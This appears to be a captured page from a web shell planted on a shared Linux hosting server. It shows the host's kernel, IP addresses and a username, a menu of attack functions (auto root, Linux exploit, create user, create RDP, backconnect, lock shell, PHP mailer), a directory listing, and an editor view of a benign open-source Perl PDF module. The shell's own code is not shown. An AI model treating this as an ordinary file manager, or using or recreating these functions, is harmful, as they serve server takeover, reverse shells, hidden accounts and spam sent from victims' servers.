Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
PDF /
API2 /
Basic /
PDF /
[ HOME SHELL ]
Name
Size
Permission
Action
Filter
[ DIR ]
drwxr-xr-x
Array.pm
2.5
KB
-rw-r--r--
Bool.pm
798
B
-rw-r--r--
Dict.pm
9.69
KB
-rw-r--r--
File.pm
47.38
KB
-rw-r--r--
Filter.pm
3.11
KB
-rw-r--r--
Literal.pm
2.14
KB
-rw-r--r--
Name.pm
2.68
KB
-rw-r--r--
Null.pm
1.27
KB
-rw-r--r--
Number.pm
750
B
-rw-r--r--
Objind.pm
7.27
KB
-rw-r--r--
Page.pm
2.1
KB
-rw-r--r--
Pages.pm
10.23
KB
-rw-r--r--
String.pm
5
KB
-rw-r--r--
Utils.pm
2.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Name.pm
# Code in the PDF::API2::Basic::PDF namespace was originally copied from the # Text::PDF distribution. # # Copyright Martin Hosken <Martin_Hosken@sil.org> # # Martin Hosken's code may be used under the terms of the MIT license. # Subsequent versions of the code have the same license as PDF::API2. package PDF::API2::Basic::PDF::Name; use base 'PDF::API2::Basic::PDF::String'; use strict; our $VERSION = '2.043'; # VERSION =head1 NAME PDF::API2::Basic::PDF::Name - Low-level PDF name object =head1 METHODS =head2 PDF::API2::Basic::PDF::Name->from_pdf($string) Creates a new string object (not a full object yet) from a given string. The string is parsed according to input criteria with escaping working, particular to Names. =cut sub from_pdf { my ($class, $string, $pdf) = @_; my ($self) = $class->SUPER::from_pdf($string); $self->{'val'} = name_to_string($self->{'val'}, $pdf); return $self; } =head2 $n->convert ($string, $pdf) Converts a name into a string by removing the / and converting any hex munging. =cut sub convert { my ($self, $string, $pdf) = @_; $string = name_to_string($string, $pdf); return $string; } =head2 $s->as_pdf ($pdf) Returns a name formatted as PDF. $pdf is optional but should be the PDF File object for which the name is intended if supplied. =cut sub as_pdf { my ($self, $pdf) = @_; my $string = $self->{'val'}; $string = string_to_name($string, $pdf); return '/' . $string; } # Prior to PDF version 1.2, '#' was a literal character. Embedded # spaces were implicitly allowed in names as well but it would be best # to ignore that (PDF 1.3, section H.3.2.4.3). =head2 PDF::API2::Basic::PDF::Name->string_to_name ($string, $pdf) Suitably encode the string $string for output in the File object $pdf (the exact format may depend on the version of $pdf). =cut sub string_to_name { my ($string, $pdf) = @_; # PDF 1.0 and 1.1 didn't treat the # symbol as an escape character unless ($pdf and $pdf->{' version'} and $pdf->{' version'} < 1.2) { $string =~ s|([\x00-\x20\x7f-\xff%()\[\]{}<>#/])|'#' . sprintf('%02X', ord($1))|oge; } return $string; } =head2 PDF::API2::Basic::PDF::Name->name_to_string ($string, $pdf) Suitably decode the string $string as read from the File object $pdf (the exact decoding may depend on the version of $pdf). Principally, undo the hex encoding for PDF versions > 1.1. =cut sub name_to_string { my ($string, $pdf) = @_; $string =~ s|^/||o; # PDF 1.0 and 1.1 didn't treat the # symbol as an escape character unless ($pdf and $pdf->{' version'} and $pdf->{' version'} < 1.2) { $string =~ s/#([0-9a-f]{2})/chr(hex($1))/oige; } return $string; } 1;
Close